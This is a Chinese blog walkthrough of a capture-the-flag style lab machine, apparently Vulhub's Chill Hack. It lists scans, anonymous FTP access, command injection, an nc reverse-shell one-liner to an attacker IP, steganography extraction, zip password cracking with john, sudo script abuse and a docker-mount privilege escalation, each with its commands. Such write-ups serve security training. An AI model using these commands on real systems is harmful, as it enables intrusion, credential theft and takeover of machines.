Vulhub-Chill-HACK实战记录

发布于 2022-03-30  313 次阅读


扫描内网IP

arp-scan -l

image-20220330152830436

获得靶场IP为192.168.226.131

对靶场进行段漏扫描

image-20220330153100318

发现存在21,22,80这三个端口

21端口存在匿名访问 那就直接访问试试ftp 192.168.226.131

image-20220330153309272

用户名为:anonymous 密码为空

成功登陆

查看有什么文件:

image-20220330153409722

发现存在一个txt文件 我们查看使用get下载到本地然后打开查看

image-20220330153615082

image-20220330153644536

好像没发现什么信息

看看80端口的web服务

image-20220330153746559

看上去像是一个体育比赛的官网?

下载dirsearch扫描下目录

git clone https://github.com/maurosoria/dirsearch
cd dirsearch
python3 dirsearch.py -u 192.168.31.145 -e*

image-20220330154215622

绿色部分为请求成功的部分即为有效信息

发现/secret/路径的输入框可以执行whoami

image-20220330154449458

ls

image-20220330154656686

127.0.0.1;ls

image-20220330154744119

判断为简单的命令执行

将该方法和nc反弹一结合,不就拿到shell了?经过大量的测试 发现可用的反弹语句为:

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.226.128 7777 >/tmp/f

本机监听

nc -lvp 7777

成功反弹shell

image-20220330161221766

该shell权限还是较低,并且操作非常不便利 咱们要想办法提权查找python版本

which python which python2 which python3

image-20220330161453127

成功获取Python的版本为Python3

使用python3将shell进行提升

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20220330161640097

成功

探索目录

该命令不会对电脑有什么危害 但偶尔会有奇效

image-20220330161959470

进入到网站根目录,找到文件夹files,发现hacker.php文件

image-20220330162254137

在hacker.php中,我们会看到images文件中夹有一张图片,应该就是线索所在 咱们进入images文件夹

image-20220330162423278

咱们把这张图片用nc下载下来 也可以使用python3开启http服务进行下载

nc -nvlp 4444 > hacker-with-laptop_23-2147985341.jpg

保持原名不动shell里运行

nc 192.168.226.131 4444 -w 4 < hacker-with-laptop_23-2147985341.jpg

以上方法没有下载下来图片,难受,尝试python3开启http服务进行下载

python3 -m http.server 8001

image-20220330163258920

攻破

apt-get install steghide

image-20220330163144271

直接从客户端下载图片,然后使用steghide工具进行分析,利用steghide工具查看图片里是否有隐藏的文件,提取到backup.zip文件,但是解压时加密了

steghide extract -sf hacker-with-laptop_23-2147985341.jpg
unzip backup.zip

image-20220330164105833

使用zip2johb生成一个backup.john文件

zip2john backup.zip > backup.john

image-20220330164247869

使用john爆破

john --wordlist=/usr/share/wordlists/rockyou.txt backup.john

中途报错,说明不知道字典,上网查了之后找到这个字典是默认的,所以来查看什么原因,原来 默认情况下是打包的

image-20220330164523819

继续爆破

image-20220330164619612

成功获取密码:pass1word

读取解压的文件

image-20220330164925034

image-20220330164940753

base64编码 直接解密一波

echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
!d0ntKn0wmYp@ssw0rd

image-20220330165152010

返回我们的shell 查看一下用户

ls -s /home

使用我们得到的密码登陆进入用户anurodh

image-20220330165741908

确认账户密码没问题了 这个时候咱们就要用到一开始扫描出来的22端口了毕竟shell是不稳定的 使用shell服务登入

image-20220330170012993

成功登陆 有一个稳定的权限的感觉太爽了这时候肯定就是提权了

直接使用经典的sudo su

image-20220330170209248

失败了 嗯。。。情理之中,意料之外

使用sudo -l查看sudo的权限,发现apaar可以提权? 查看apaar

sudo -u apaar /home/apaar/.helpline.sh

image-20220330170412559

他需要起一个名字,随便起一个就OK

我们也不知道他有什么有这波,不得

cat /home/apaar/.helpline.sh

image-20220330170653284

这个批处理 有点意思 似乎可以命令执行

image-20220330170906457

尝试成功 有点意思

既然我们没有权限读取local.txt文件 那就让apaar来读取吧

image-20220330171208959

成功得到flag

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

提权

OK 那我们继续找其他方法提权输入id查看权限

docker?要素察觉

docker逃逸

我们使用一些提权辅助工具:https://gtfobins.github.io/

在里面搜搜docker,使用以下命令提权

image-20220330171620222

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20220330171750583

提权成功

进入到root目录,拿到最后一个flag

cd /root ls
cat proof.txt

image-20220330171910283

获得flag

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
Daniel_WRF
最后更新于 2022-04-06